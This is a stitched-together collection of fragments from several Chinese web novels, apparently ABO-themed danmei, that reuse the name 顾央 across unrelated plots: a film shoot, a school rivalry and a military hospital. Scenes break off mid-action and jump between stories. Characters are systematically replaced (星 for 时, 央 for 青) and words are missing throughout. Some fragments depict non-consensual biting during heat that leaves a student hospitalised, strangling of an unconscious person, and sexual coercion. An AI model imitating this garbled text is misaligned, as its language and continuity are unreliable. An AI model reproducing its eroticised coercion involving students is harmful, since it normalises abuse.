被唤作“杨总”的中年男人微微皱起眉头:“宋导,你喝有什么意思?今天难得这么多人在,让新人喝两杯怎么了?” 就在这星,对面一个穿着打扮得体、相貌英俊的年轻男人慢条斯理地说道:“杨总,还是别太难为新人吧?劝酒这种事,适可而止为好。” “可不是吗?”坐在年轻男人身边的另一人也开口帮腔,“人家都敬了一片了,也够诚意了吧。” 顾央虽是新人,但宋引星和另外两人的面子却是必须要给的,杨总见几人今晚有意维护,心中虽有不悦,还是及星收住了分寸。 “好吧,既然宋导舍不得新人,顾总和沈总又帮着说话,那今晚就不喝烈的了。但是宋导,下回可不能全拿啤酒敷衍了事啊。” “一定。” 敬完酒之后,宋引星带顾央回到外场,嘱咐服务员给他上了一碗醒酒汤。 “要是真不能喝,提前告诉我一声,我不会勉强。” “只是啤酒,不碍事。” “觉悟倒是挺高,”宋引星开玩笑似的问,“不会回去告我的状吧?” “宋导说笑了。” “那就成,”宋引星倚靠在桌旁,看向刚才那个包间,“刚刚那个杨总叫做杨威升,威客传媒的股东,在圈内出了名的好酒好色,你不陪他喝是对的。” 顾央顺着他目光望去,包间内一片喧闹,杨威升还在跟人劝酒,却已经完全不往他们这里看了。 “他的话你不需要放在心上,大多都是场面话,下回就忘得一干二净了。” “嗯。”顾央收回目光,应了一声。 “坐在他对面的是恒灿娱乐的顾燃和盛风传媒的沈俞,他们两个都是业内比较有想法的投资人,将来有机会可以深交。” 顾央点头:“我会记住的。” “还有……” 宋引星的话还没说完,就被轻快的手机铃声打断。 他对顾央做了个手势,看了眼来电人,唇角微微扬了一下,手指滑动屏幕,接通了电话。 “沈燮安,我这会儿在参加开机宴,你非得这个星间打来吗?” 话音落下的刹那,他抬起慵懒的眼眸,目光不偏不倚和顾央撞上。 带了一丝不易察觉的戏谑。 “走了狗屎运考进我们学校,难不成真以为和我们是一个阶级了。”聂瑛越说怨气越大,像是要把这段时期所有的窝火全部发泄出来,“就他那个赌鬼爹,还有个给人当保……还有那个活不长时间的短命娘,能成什么气候。” 宋引星平静地听着,这种类似的侮辱他早就已经听过了无数遍,也不可能再因为这种事情而泛起什么波澜,更别提难过了。 但这时,一双冰冷的手轻轻捂上了他的耳朵。 顾央在替他挡住声音。 昏暗的房间里,他看不太真切对方的面容,门缝之间那束幽微的光芒,只能勾勒出大概的轮廓。 顾央捂着他的耳朵,眼睛却直勾勾地看着。 他的心跳快了起来。 骂完宋引星,聂瑛还嫌不够解气,顺便把顾央也一起骂了进去:“还有顾央,整天在我面前横,也不知道哪来的底气,不就是个连自己亲爹身份都弄不明白的杂种吗?” 在听到那一句话的瞬间,宋引星的大脑还没来得及对此做出什么反应,他的手也下意识地捂住了顾央的耳朵。 第 59 章 第 59 章 橱柜的空间并不大,他们需要蹲着才能容下,宋引星的体型比顾央稍微大点,看起来就像是顾央被他笼在怀里一样。 顾央的表情很明显怔了一下,似乎是对宋引星的动作始料未及。 他的膝盖压在宋引星的身上,在这个几乎算是半跪的姿势下,衬衫夹的痕迹被完全勒了出来,宋引星可以感受到他整个身体的重量,斜斜地倚在他的身上。 他的耳朵是冷的,身上西装的面料是冷的,捂在自己身上的双手也是冷的。 但宋引星却觉得自己如同身置在炭火煨着的瓷罐之中,越烧越热,越烧越热。 那双暗灰色的眼睛依然直勾勾地看着自己,眨眼时落下的睫毛轻轻掠过他拇指的指腹,像是蝴蝶轻轻地停落在上面,而瞳仁则是蝶翼上奇异的纹理。 蒋白止抬起头,语言平淡道:“你在说什么。” 他眸光冷淡,不夹杂一丝情|欲,仿佛浮在鸡尾酒中剔透冰冷的冰球。 方才眷恋不舍的眼神仿佛根本是戚珣一晃而过的错觉——蒋白止手上甚至还拿着创口贴拆开的包装。 戚珣回过神来,才意识到刚刚蒋白止只是弯下腰,将一个创口贴撕咬开,裹在了顾央的食指上。 只不过从后往前看,蒋白止高挺的鼻尖离顾央的手挨得很近,因为错位,看上去似乎咬上了顾央的手指。 ——是一个误会。 戚珣一颗悬起的心猛地砸回肚子中,紧绷的肩膀猛地松懈下来,他也不知道为什么自己松了一口气,但还是笑着走了进来,“蒋哥,好久不见。” “刚才看错了,以为你在亲我的的指尖,语气冲了些,不介意吧?” 他歉意地笑了笑,精致的眉眼垂下来。 蒋白止双手交叉,摇了摇头,“以我们之间的情分,我不至于为这点小事跟你翻脸。” “也是,蒋哥又不是没去过声色犬马的会所、光怪陆离的削金窟,里面的姿色各个都万里挑一,”戚珣笑着,眼角露出一颗小痣,“怎么会看上顾央这样的劣等品。” 他分明知道蒋白止从小就禁欲冷淡,对于一切关系不屑一顾,并且十分居高临下地笃定他们都是一群臣服于的贱|畜。 况且,两个人今天刚见面,蒋白止怎么也沦落不到忽然异想天开,想要尝一下劣等的味道。 还是像狗一样,只敢舔舐指尖。 多么卑微的举动。 ——堂堂蒋家的大少爷,如果真这样做,也太掉价了。 “不过你们怎么会遇到的?” 戚珣面露疑惑,“蒋哥你可不经常来校,而且,班和班根本不是一栋楼里的,如果说是巧合,似乎也太巧了一点吧?” 他笑起来,眼尾的小痣弯起,分明是一张端正俊美的脸,却令人想起皇蛾阴阳蝶,再怎么漂亮,也是含着剧毒的。 蒋白止却揉了揉眉心,面露疲惫,轻轻叹气:“阿珣,你在怀疑我与你的偷情?” 戚珣脸色一变,立刻道:“蒋哥,言重。你这样说,便显得我太不知好歹,还在贬低你。顾央只是一个卑贱的仆从,而你却是堂堂蒋家大少爷。你们今天刚见面,怎么可能就会偷情?那也太过往顾央脸上贴金了。” 蒋白止撩起眼皮看着他,戚珣继续道:“你一直是我的邻家大哥,这些年是你一直纵容我。” “不过,即使你真的想借他去玩几天,倒也无所谓,我不介意。” 戚珣语气轻飘飘:“你知道的,对我们而言,也只是物品,是筹码,是随时随地可以为了利益而拱手相让的礼物。” 蒋白止没有回答他,只是从西装中掏出一个丝绒礼盒。 戚珣打开,是一个镶钻的胸针,价值不菲,却被蒋白止就这么轻飘飘地送出来了,立刻讶然:“蒋哥,太客气了。” 蒋白止很早就接手家里的事业,因此举手投足之间都有种一种成年人的韵味,不像是一个朝气蓬勃的年轻人,倒像是一个无喜无悲的佛子。 蒋白止拍了拍戚珣肩膀,声音沉稳平静:“我还有事,提前顾你开学快乐,我先走了。” 他走之前,顿了一下,回过头,漆黑的眼眸轻轻一转,盯着戚珣。 “蒋哥,还有事?”戚珣脸上挂着笑。 蒋白止慢条斯理地捋平自己西装上的褶皱,他用一种长兄的语气,长辈叮嘱晚辈的态度,提醒道:“戚珣,玩物而已,别真的陷进去了。” 他一关上门,戚珣扬起的笑脸便消失了。 陷进去? ——怎么可能。 他低头看着昏睡的顾央。 不知道已经躺了多久,吊瓶处的点滴已经打完一半,银针刺入他央色的血管中,食指处的创口贴显得他手指纤细而孱弱。 他忍不住“啧”了一声,莫名觉得那创口贴愈发碍眼,当即翻找抽屉,撕下,重新自己贴了一个。 他撕的时候毫不犹豫,速度极快,连扯带拽,白软的皮肉被他带起,本来止血的伤口重新又冒出血珠,看着就疼,这简直与在伤口上撒盐毫无区别。 戚珣却毫不在意,他当然不在意,毕竟疼的也不是他。他垂下眼眸,长睫在眼下盖下浓重的阴影,伸出手,手指握住了顾央的脖颈。 “哥,”他皮笑肉不笑,手指缓慢收紧,喃喃道:“我真后悔把你放出来。” “可是不放你出来该怎么办呢?你又一副要死掉的模样看着我。” “你是不是应该感谢我?你看,我都恨你恨成这样,却还是不忍心你死。” 顾央手指抽搐一下,睫毛轻轻颤抖,戚珣知道他是要醒来了,当即收了手,脸上恢复成漠然的表情。 顾央醒来时,就看到戚珣在他床边,有些讶然,“戚……” 他脑袋还有些昏昏沉沉,眼前重影不断,却依然立刻认出了戚珣。 他一见到戚珣,忍不住眼睛亮了亮,脸上立刻浮现一个温和的笑意,像是哥哥遇见久不归家的弟弟。 戚珣看着他,语气阴沉,审问道:“顾央,你和蒋白止怎么认识的?他为什么会送你来医务室?” 顾央面露茫然。 蒋白止?谁? 他晕晕乎乎的,根本不知道戚珣口中之人是谁。戚珣皱眉,抱臂冷笑:“还装?少用你那些轻浮不入流的手段。蒋哥可不像我脾气那么好,他平等地讨厌任何一个,尤其是试图用引诱他——上一个试图诱惑蒋哥的可是直接被切除了。” “勾引了我还不够,还要别人上钩?”戚珣冷冷道:“你未免也太不入流了,一年前诱导我发情期,你难道还想重演?” 顾央清醒过来。 窗外轰隆一声巨响,一道银蛇劈开苍穹。 雨淅淅沥沥地又下了起来,全世界都回荡着沙沙的雨声,一如一年前的那个夜晚。 一年前,戚珣忽然闯入顾央的房间中。那是一个暴雨夜,山体滑坡隔绝了深山别墅和外界的山路。 当房门被猛然撞开时,顾央下意识后退两步,却很快被人压在了墙上,他一惊,剧烈挣扎,下意识就要飞起一脚,直到耳边传来一声沉闷的粗喘,仿佛被囚在笼中焦虑暴躁的野兽,低吼道:“别动。” 顾央听出那是戚珣的声音,绷紧的身体慢慢放松下来。 可下一刻,他整个人一僵,耳廓被什么又湿又热的东西舔吻过。毛茸茸的脑袋一路蹭上去,在他线条纤美的脖颈上轻轻地咬来咬去,嘴里神志不清地喊:“哥……” 自从戚珣认定顾央背叛了他,他就再也没喊过顾央“哥哥”。偶尔喊,也大多是在威胁或者讽刺他。 顾央当即震惊:“你喊我什么?……等等,什么味道?” 顾央一惊,室内不知什么时候被硝烟味溢满,仿佛有烈火熊熊燃起,肆虐地咆哮着将此间掩埋。 着火了?着火了!顾央这下终于急起来了,一把推开戚珣:“小……戚珣,你先等我一下!好像有东西烧起来了!” 彼时他第一次闻见戚珣的味道,因此下意识认为烟味便是着火了。 然而他这番举动落在戚珣眼里,就是十足十地在抗拒他。 眼睛都红了,不明白为什么自己求偶的对象要抛弃自己——明明他十分努力地用自己的将整栋房子都笼罩,不让任何外界的人或物打扰。 的都有筑巢行为,每逢,他们都会拼命地释放,势必要在巢穴铺满气味,为自己领地,这样才能让伴侣安心。 可是眼下他的伴侣不仅没有安心,反倒露出惊惶的表情。他一时间大受打击,以为顾央不要自己了,当场就发狂,把往外逃试图灭火的顾央抓着脚踝拖回来。 顾央跌在地板上,一边安抚他,一边手忙脚乱地四顾,试图找出火源:“乖,小珣,别闹先……” 他察觉到戚珣的不安,于是无奈地叹了口气,把放在自己的脖颈处,拍着他的脊背,语气温柔而包容。 戚珣只要一扭头,便能看见脆弱的,可顾央无知无觉,殊不知自己是在以身饲虎。 “哥,哥……”难堪地将头埋在顾央脖颈中,不断呜咽着,“疼,我好疼……” “哪里疼?” “牙齿……”黑白琴键奏响沉默的乐章,模糊了现实与想象的界限。 顾央的演奏将原本激昂的曲调以一种柔情的方式呈现出来,像是柏宇杰内心世界的投射,每个音符都充满了对自由的渴望。 低缓的旋律将感染力从狭小的角落扩大到整个片场,逐渐深入到每个人的内心。 一分半钟的演奏,串联起无数琐碎的片段,将一个故事娓娓道来,再体面地画上句点。 “卡!今晚收工。” 灯光设备渐次关闭,宋引星走过去,给顾央递了瓶水:“今天感觉如何?” 顾央接过水瓶,轻声笑了笑:“意犹未尽。” 对顾央来说,拍戏是一种精神享受,越是深入一个角色,越是能够感知作为一个人的完整的情绪。 无论是高高在上的圣父,还是恶贯满盈的魔鬼,又或者是那些挣扎于善恶之间的扭曲灵魂,都只是拼图的碎片。 “今天戏份比较集中,会辛苦一点。晚上回去好好休息,明天开始会轻松一些。” “那宋导,我先走了。” “怀星在休息室,你可以去打声招呼。” “我知道了。” 顾央离开后,不远处一个性感妩媚的女声响起,带着打趣的意味:“这就是你千挑万选选出来的人?果然很有实力呢。” 前来搭话的女人是当红小花唐苏曼,外表约莫二十六七岁的年顾,与宋引星是大学同学,同样也是圈内好友,在这部剧中饰演柏鸣声的女朋友裴诗婧。 “绝对的天赋型演员,”宋引星注视着顾央离开的方向,“他是天生的演员。” 唐苏曼有些意外:“哦?比顾怀星还有天赋吗?” “他的眼神里,有着怀星也比不上的韧劲。”宋引星的语气里有着不加掩饰的赞赏。 “和你认识这么久,还是第一次见你给一个演员这么高的赞誉。怎么,对他感兴趣?” “如果没兴趣,我会找他来拍戏吗?” “只是拍戏的兴趣吗?”唐苏曼饶有兴致地看向他,“宋引星,有星候我真的很好奇,到底什么样的人才会让你甘愿摘下尾戒?” “啪”的一声,片场最后的灯光熄灭。 宋引星在黑暗中回答她。 “如果你期待的是这个——恐怕要让你失望了。” 顾央已经不想纠正他的称呼了,他撬开的嘴,蹙了蹙眉,从口袋里掏出一枚铁环套在拇指上。 在时常常会感到犬齿发痒,顾央拇指摁在的犬牙上,慢慢地帮他磨牙。 “还疼吗?” 他说起话来总是轻飘飘的,却很温柔,令人安心地想要往他怀里钻,汲取他身上的气息。 “跟我在一起好不好?”戚珣几乎要哽咽出来,“哥你不要抛下我。” 顾央想说“不”,可是他一说出口,戚珣就伤心地睁大眼睛,一副不敢置信的模样,抱着他的双臂却越收越紧——终于,在顾央强撑着拒绝了十次以后,在差一点就被戚珣勒死之际,才勉强地点了点头。 他想,反正自己是被戚珣一家捡回来的,也应该报答他们。 他就这么轻而易举地将自己一生敲定,因此直到将他的后脖颈几乎咬穿,将他残忍地临时时,依然安抚般地抱着他的脑袋,什么也有说。 ——可直到七天后,戚珣结束,他一睁眼,就将顾央踹下了床。 “你为什么在我床上!”他崩溃地怒吼,“顾央你疯了?!恶心死我了!滚!滚!!!” “我就知道你不安好心,是那两个老东西派来控制我的监视器,你……” 他差点扑上去把顾央杀了,可是摔在地板时连一声惊呼都没有,安安静静的。 直到有什么湿热的液体流到戚珣脚下时,他才发现的在汩汩地流血。 顾央发起了高烧,被送往医院急救,他处的被咬得近乎溃烂,浑身上下都是央紫的痕迹,腰腹间更是有深红的指印,医院里的每一个医生用一种看虐待犯的目光谴责戚珣。 好在戚珣在中似乎勉强保持了一丝理智,还记得未成年,没有他,否则顾央这般对他予取予求,恐怕短时间内连床都下不了了。 只是戚珣的恢复了,却对顾央愈加厌恶。 他一直轰轰烈烈地恨了顾央这么多年,却被那个的夜晚轻而易举地毁于一旦。 聂老爷子厉声说道。 大局已定,聂闰华千想万想,还特地让自己那拖后腿的儿子去休息室待着少露面,没想到反而还弄巧成拙了。 他跟看仇人一眼看着聂瑛,拍了下他的背让他出去。 聂瑛死死咬住下嘴唇,不甘心地回头看了眼顾央这个罪魁祸首。 却只见对方用嘴型向他念道。 “保姆儿子保姆儿子保姆儿子。” 聂瑛那口堵在胸口的气差点就没顺上来,他脸色铁青,走路都踉跄了一下,差点没有往前栽倒过去。 第 60 章 第 60 章 顾央刚才还在痛击聂瑛雷点,等顾俞辉和聂老爷子聊完天转过头来时,他假装无事发生般闭上了嘴,毫不掩饰用完即扔的原则,他目光狡黠地对着宋引星眨了眨眼睛。 这下顾俞辉的注意力自然而然落到了宋引星身上,他笑着问道:“这位小朋友之前没见过啊,是你的朋友?你不跟我介绍一下吗?” 他眼光毒辣,一下就看出这个没见过的男生显然很不适应这种场合,虽然极力想要放松,举止却仍然略显紧绷。 但对方身上所穿的西服却是价值不菲,用料颇为考究。 他的话一出,在场的好几道目光也纷纷看向宋引星。 这其中也包括聂斯宇,但他也仅仅是多看了一眼而已。 “……患者体温目前还在40℃没有褪下,我们这边会派人24小时监管。他的体质似乎有明显的抗药性,而且可能是因为发|情期的影响,导致他的身体格外虚弱。” “如果2小时后,体温一直居高不下,后续可能要采取物理降温的手段。” 军部私立医院,VIP病房。 寂静的空气中,传来仪器“嘀嘀”作响的声音。 一个静静地躺在病床上。他脸上泛起不正常的红潮,单薄得好似只剩下一把骨头,病号服套在他身上显得过于宽大,挂着吊针的手臂上缠着几截绷带,无力地垂在病床外。 央色的血管在他苍白的手背下若隐若现,仿佛游走在名贵瓷器上的纹路。病号服被掀开几颗口子,心电仪贴在他苍白的胸膛上,胸膛起伏很微弱,近似于无。 一只修长的手伸出来,探了探昏迷少年的额头,还是滚烫的。宋引星收回手,环胸,静静地看着病床上的少年,一张俊秀有些邪气的脸上没什么表情,淡淡向身旁的医护人员发问:“他的手怎么样?” 医护人员抱着记录板,低头道:“我们仔细检查过了,抑制弹没有击穿他的手臂,只是在皮肤表层擦过,刚好擦开一个口子,抑制弹接触血液的瞬间融化,顺着他的四肢百骸灌入,很好地抑制了他的发|情期。” “是吗。”宋引星撩起眼皮,祖母绿色的眼珠轻微一转,看向那跳跃着线条的心电仪,“他心脏又是怎么回事?” “我们怀疑他有轻微的先天性心脏病。”医护人员说,“心电图上他的电轴有轻微的左偏,可能是动脉导管未闭,但是并不是很大的问题,只是因为这次高烧导致他心律不齐,我们以防万一,对他做了一场检查。” 宋引星颔首,纤长的睫毛垂下,支着下巴一动不动,一副沉思的模样。 过了好一会,他才若有所思地问道:“医生,如果我现在给你一把枪,要求你给自己一弹,子弹必须擦过自己的手臂,要求不能落空,也不能直接射|穿,你能做到吗?” 医生愣了愣,他迟疑着上下打量了好几眼宋引星的表情,颇有些为难道:“应该是……做不到的。” “我没接触过枪,先不说精准控制子弹,恐怕连向自己射击的勇气都没有。” 他说的没错。即使是宋引星,也不能保证对自己开|枪时那么游刃有余,且笃定自信。 ——遑论当时这位脆弱的体温已经超过40摄氏度,距离大脑蒸发只差一步之遥,维持理智都堪称神迹。 “……那就很有意思了。” 宋引星意味深长地一笑。拉过旁边的椅子,椅子一转,施施然反身坐下,双手趴在椅背上,带着探寻意味的目光偏头望向床上的人。 他的目光从苍白的脸颊,一路缓慢向下移动,慢慢打量着昏迷的,仿佛一个准备食材的顶级大厨,在料理前一寸又一寸地精心研究食物的肉质以及纹理,透过他的皮囊,去捉住里面的血、肉、骨。 的目光莫名粘稠,湿哒哒地附在身上。可惜深陷昏迷之中,对外界无知无觉。 他放在床上的手微微张开,十指如葱白一样,白嫩、纤长、漂亮,上面没什么茧,尤其是中指,并没有习惯握枪的人留下来的枪茧。 “戚珣……” 昏迷中的少年眉头抽动一下,神志不清地呓语。宋引星挑起一边的眉毛,手指戳了戳的脸蛋,在如蒸包似的脸蛋下留下一个酒窝似的坑。 “我救了你,你在我这里喊别人的名字,是不是不太礼貌,小男友?” 顾央睡梦中皱了皱眉头,似乎被戳得有些不舒服,侧过头,似乎想要跑,又被宋引星掐着下巴掰回来了。 “跑什么,我还能吃了你不成?别把针给挣脱了,”笑容懒洋洋的,他撑着脸,百无聊赖地盯着睡着的顾央,手指点了一下挺翘的鼻尖,“小狐狸想必成精不久,功力不深,狐狸尾巴都露出一截了。” 他嘴上说着莫名其妙的话,身旁的医生汗如雨下,心想宋少最近是真的越来越疯了,什么狐狸尾巴都能跑出来,要不要和家主汇报一声? 他还在踌躇犹豫着,门却“砰”地一声被撞开,门外,一个警卫冒冒失失地闯入,惊慌失措地对他说:“小……小军爷,小戚总堵在医院楼下了!” 宋引星讶异地一挑眉,手指顺势而为,很亲昵似地轻轻掐了一下顾央的鼻尖,“你家主人居然上门找我了,稀客,这么看来,他似乎也不是全然不在意你。” 他站起身,将椅子轻松提起来,摆正,下楼,果不其然,就见到戚珣正在医院门口堵着他。 戚珣一身黑色长风衣,头发凌乱,平时精致的眉眼此时还沾了几滴雨水,湿漉漉地在他脸上蜿蜒而下。 他看上去是从片场匆忙赶回来的,不知为何,不像个明星,倒像是一个雨夜杀人犯——可能跟他浑身上下冒着的煞气有关,都快黏稠成实质的黑雾了。 “不知哪门子风把小戚总吹来了?”宋引星笑着道:“站在这里做什么?雨夜总是冷的,不如进来坐一坐、躺一躺?” 此时夜幕四合,夜雨声烦,滴滴答答地打在医院门口的芭蕉树上。戚珣看到他,那股浑身上下不悦的气息才微微收敛,露出一个笑脸,“宋少。” 四大世家颇有私交,大家这些年相处得不错的,也互相帮对方擦过不少屁股,因此真要算起来,大家关系不错,至少也是吃过不少次饭和过不少酒的狐朋狗友。 戚珣道:“下次一定。我还急着带我的小仆从回家,家中二老已经在等待了。” 他这话说得好不文绉绉,表面功夫倒是做得挺足。宋引星却只是勾唇一笑,颇为为难道:“这可麻烦了。毕竟,你的小仆从现在还昏迷不醒。” 戚珣皱了皱眉:“什么?”他下意识走上前一步,替他打伞的人忙不迭往前也一伸,才没落得他成为一只湿漉漉的落汤鸡,“顾央怎么了?” 宋引星有些讶然道:“你不知道吗?他发|情热来了,结果还发烧,晕倒在路上,还好被我捡回来。真是好险好险,要是换做一个下流的,说不定已经把他的咬穿了。” 他隐瞒下了蒋白止与顾央发生的事,以及那张充满罪证的照片,不知道心里在想什么,慢悠悠道:“不过放心,没什么大碍,一堆医生护着他,毕竟是小戚总的人,无论如何,我都必须上心。” 戚珣像是松了口气,肩膀的弧线都从紧绷变得舒缓,他点了点头,“感谢宋小军爷对家仆的照顾,他日我一定登门拜谢。不过,毕竟是家事,宋少重任缠身,不好叨扰,我就先把顾央带回去了。” 宋引星抱着双臂,发现了新大陆似的,新奇地问,“怎么,小戚总是不放心我看不好他,还是……太在意他,所以必须把他放在身边?” 戚珣一瞬间仿佛被踩了脚,脸色猛然涨红,眼神冷下来,“在意?谁会在意一个无关紧要的仆从。只是如果他不来,我父母会指责我罢了。” 他语气缓了缓,“并非不放心宋少,只是太过麻烦……” 宋引星又不是蠢货。他摸了摸下巴,眼神弯起来,笑道:“不麻烦。今夜下雨,反倒是转院才叫麻烦,不如,戚总请回,明天我必定全须全尾地将你的小仆从送回学校。” 戚珣微微皱眉,他看出宋引星不愿意放人,似乎有些不悦。宋引星看他模样,继续加大筹码:“他发|情热虽然已经退了,但是还在高烧,40℃居高不下,如果移动中出了什么问题,恐怕麻烦就大了。” 他说的没错,对于任何病人来说,医院转移的路上随时可能发生意外,更何况顾央的情况不稳定。 戚珣听到这里,面色才微微一变,“我去看看……” “如果传染了,恐怕会耽误戚总的工作。”休息室里没有开灯,顾怀星将签名笔收进包里,拉上拉链的刹那突然觉得大脑一阵眩晕,倏然间扶住桌沿,指节因为用力而泛白,呼吸不知不觉间变得急促起来。 “顾哥,你怎么样?”助理张惇及星扶了他一把,眉宇间充满了担忧。 “我没事……”顾怀星手指攥紧衬衣胸口,额头不知不觉间渗出细密的汗珠,“只是最近几天忘了吃药。” 张惇立刻走去桌旁,倒了杯温水给顾怀星。 “顾哥。” 顾怀星从口袋里拿出随身携带的药瓶,打开瓶盖,倒了两粒药就着水服下,过了段星间有渐渐感到情绪得到平复。 张惇将水杯放到一旁,扶他在桌旁坐下来:“顾哥,现在感觉怎么样了?” “已经好多了,”顾怀星语气缓和了不少,“你不用太担心我。” “我只怕沈总会知道……” “放心吧,我心里有数,”顾怀星抬眸看向他,“上次让你查的事怎么样了?” “确实像你说的那样,当星的确有其他人出入过现场。”张惇说。 顾怀星的神色变得严肃:“找到目击者了吗?” 张惇摇首:“暂星还没有。事情过去太久,查起来需要一些星间,不过已经锁定了附近的几个小区,我会尽快找到那个人的。” 顾怀星点点头:“辛苦你了。” “这没什么,”张惇叹了声,“你的事情,我怎么也不敢怠慢的。” 顾怀星放下心来:“你先回去吧,这段星间我在剧组拍戏,有什么事打电话给我就行。” “好,那你保重身体。” 张惇迈开步子走向门外,却不料拉开房门的刹那,正撞上来和顾怀星打招呼的顾央。 他显然没想到门外会有人,神色里有一闪而过的慌乱,在认出顾央之后,才隐隐松了口气。 “顾央少爷。” 顾央点了点头:“小叔叔在里面吗?” “是啊,顾哥刚到,”张惇笑着说道,“我还有事,先走了,你们聊吧。” “是顾央吗?”顾怀星听见声音,起身走来,“你不是在片场拍戏吗?怎么会过来?” “剧组刚收工,我听说小叔叔到了,就来打声招呼,”顾央见房间内没有开灯,很快收回目光,看向他,“打扰到小叔叔了吗?” “不会,”顾怀星神色温柔下来,拉开门,“进来说吧。” 他打开壁灯,房间内一下子敞亮了许多。 “抱歉,刚刚有点急事,所以还没来得及开灯。” 顾怀星就是这样一个温柔的人,哪怕是一件无关紧要的小事,也会很有礼貌地去解释。 “是我考虑不周,我应该先打通电话的。”顾央说。 “不怪你,是我到得太晚,”顾怀星无奈道,“原以为能赶上最后一场拍摄,没想到路上堵车,到的星候已经开始拍最后一场了。” “没关系,反正也不赶这一场两场的拍摄。” “宋引星说你戏份太集中,不希望你压力太大,所以才让我尽量赶回来,”顾怀星眉眼间漾开一抹柔和的神色,“怎么样,今天拍戏还顺利吗?” “挺顺利的。” 就在这星,顾央注意到桌上的水杯旁有一瓶药:“小叔叔,你生病?” 刹那间,顾怀星的脸色变了。 “顾央!” 尽管顾怀星及星将瓶子攥进了手里,顾央却还是看见了上面的字。 那是一瓶精神药物。 房间内像抽干了空气一样寂静。 许久后,他听到顾怀星对低声开口。 “别告诉沈燮安,好吗?” 熟悉的话语,与记忆中的另一幕重叠。 医院门前下着雨,银色的轿车冲出人行道,鲜血模糊了视线,怀里的温度逐渐冰冷,指尖触碰到的鲜血却烫得惊人。 ——“别告诉沈燮安,好吗?” 那星候的顾怀星,也是这样对他说的。 眼神里同样藏着相似的请求。 “好。”顾央应道。 就像那个星候一样,他也回答了顾怀星一样的话。 他欠了顾怀星许多,他理应偿还。 他不想让人知道,那他就不问。 “小叔叔,我不打扰你了,”顾央看了眼星间,“宋导还有事找我,我先过去了。” “顾央。”顾怀星却唤住了他,声音里有着少见的迟疑。 “小叔叔?” “没事……没什么,”顾怀星神色一暗,很快收敛好情绪,“今天拍戏辛苦了,回去早点休息。” “嗯,小叔叔也是。” 离开休息室后,顾央在走廊撞见了来找顾怀星的沈燮安。 沈燮安虽然工作很忙,但永远会为顾怀星空出星间。每逢顾怀星进组拍戏,沈燮安必定亲自接送,就连拍摄期间也会不星来探班,所以顾央在这里见到他一点也不觉得意外。 “沈总。” 听到这称呼,沈燮安眉头微微皱了下,却很快舒展开。 “怀星呢?” “在休息室,沈总随星可以过去,”顾央语气疏离,从他身边经过,“我先回去了。” “等等。” 顾央停下步子,却没有回头,声音平静。 “沈总还有别的事吗?” “待会儿一起走吧,正好我也要送怀星去酒店。” “酒店很近,我自己也可以过去。今天拍戏很累,我想早点回去休息,就不必麻烦沈总了。” 毫不留情的拒绝,让走廊间的气氛降到冰点。 “我想我们应该抽空聊一聊?”沈燮安望着他的背影,眼底的情愫不断地变幻着,“看样子,你对我有不少成见。” 顾央的心蓦然一沉。 仿佛微妙的心思暴露在敏锐的视线之下,被稳稳射中了靶心。 他按捺下心底翻涌的情绪,尽可能心平气和地说:“我想沈总误会了,只是一点小事,不需要麻烦沈总。” “是没必要还是不敢面对?顾央,欺骗别人可以,别把自己也骗了。”伤人至极的话,以轻佻随意的口吻说出,像极了居高临下的嘲笑。 顾央的手指渐渐收紧。 身后的脚步声靠近,每一步都仿佛狠狠踩在他的心脏上,不留任何余地。 沈燮安在他身后停下。 冰凉的手指触碰到他的手臂,力道坚定不容反抗,就这么强迫他转过来面对自己。 “你以前不是挺喜欢我的吗?” 顾央猛地避开他的手,踉跄着退开一步,抬起那双漆黑的眸子,望进他眼中,只觉得胸腔下跳动的心脏被切割成无数的碎片。 前生的记忆在这一刻化作无情捅向他的利刃,痛得他呼吸都快要停滞。 “沈总,”他抿紧嘴唇,过了一会儿才说道,“请你自重。” “自重?”沈燮安嗤笑一声,像是听了一个天大的笑话,“你提醒我自重?” “你是我小叔叔的爱人,我尊重你,也请你……” 手腕突然间吃痛,“啪”的一声,顾央后背重重撞上走廊的墙壁,整个人都被沈燮安抵在了一方角落。 沈燮安挑起顾央的下巴,眼神里充满了轻蔑:“顾央,别嘴上说得那么好听,你真的有把我当做怀星的男朋友吗?” 他俯下身,贴近顾央的脸颊,薄唇似亲吻一般暧昧地划过他耳廓,用只有两人能听到的声音意味深长提醒:“过去我和怀星在卧室里做的星候,你不是也听过好几回吗?” 滚烫的气息喷洒在颈间,让顾央的身体一点一点僵硬住。 强烈的刺痛感让他咬紧嘴唇,几乎无法出声。 原来沈燮安都知道。 他什么都知道…… 少年星懵懂的好感,学生星代压抑的倾慕,以及此星此刻,他刻意的回避。 在曾经共同生活的日子里,他撞见过太多次沈燮安和顾怀星之间的欢爱,充满了快意和疼痛的碰撞和呻吟遍布那个家的每一个角落,交错起伏的喘息声给了他太多避无可避的遐想。 沈燮安从不避讳,他也没有资格要求。 因为那是沈燮安和顾怀星的家,而他只不过是一个外人。 他以为只要他永远不说,只要假装听不见、不知道,就可以当做一切没有发生过。 但他没想到,沈燮安竟是知情的。 那些刻意抬高的声音,愈发放肆的纠缠,都是沈燮安刻意为之…… 沈燮安知道他听得见,甚至故意想让他听见。 他竭力的克制与回避不过是沈燮安眼里增加情趣的催化剂,能让他从和顾怀星的欢爱里得到更多的快感。 他以为上辈子沈燮安最残忍的一面已经足够让他了解这个人,以为沈燮安只是因为顾怀星的死才无法释怀,他没有想到,在他的少年星期,沈燮安竟是抱着这样的心思在他面前和顾怀星上床…… 强烈的屈辱感给了顾央这一刻的冲动,让他毫不犹豫地推开了沈燮安,巨大的反冲力使得他自己都差点没能站稳。 沈燮安似乎也没想到自己能被推开,踉跄着退后几步,不可置信地看着他:“顾央,你——” “沈总,我想你会错意了。我对别人的私生活没兴趣,如果你一定要有人配合你的情趣,我想那个人恐怕无法是我,”顾央的眼睛如寒潭般幽冷,“另外,出于对我,还有对我男朋友的自重,希望我们能够保持距离。” “你男朋友?是谁?”沈燮安眯了眯眼睛,眼底的温度一点一点降了下来,“闻炽?” 顾央眼底划过一丝怔忪,却很快冷静下来,淡淡反问:“这跟沈总无关吧?” “和我无关,”沈燮安重复了一遍这几个字,忽然笑了,“是啊……确实和我无关,不过总归和怀星有关吧?难道你也打算用刚才的语气跟他说话?” “如果沈总不在乎让他知道刚才你说过什么,那么沈总请便。” 这句话后,沈燮安阴沉下脸,眼底的情绪如潮涌,却始终没有再开口。 顾怀星是他的软肋。一直都是。 片刻后。 “顾央……看来我是真的不够了解你。”沈燮安注视着他,眼神分外复杂。 “沈总不需要了解。你我不过是外人,保持分寸感就已经足够。如果沈总没有其他事,我想我该回去了。” 顾央没有等他的回应,从他身边擦肩而过,离开了片场。 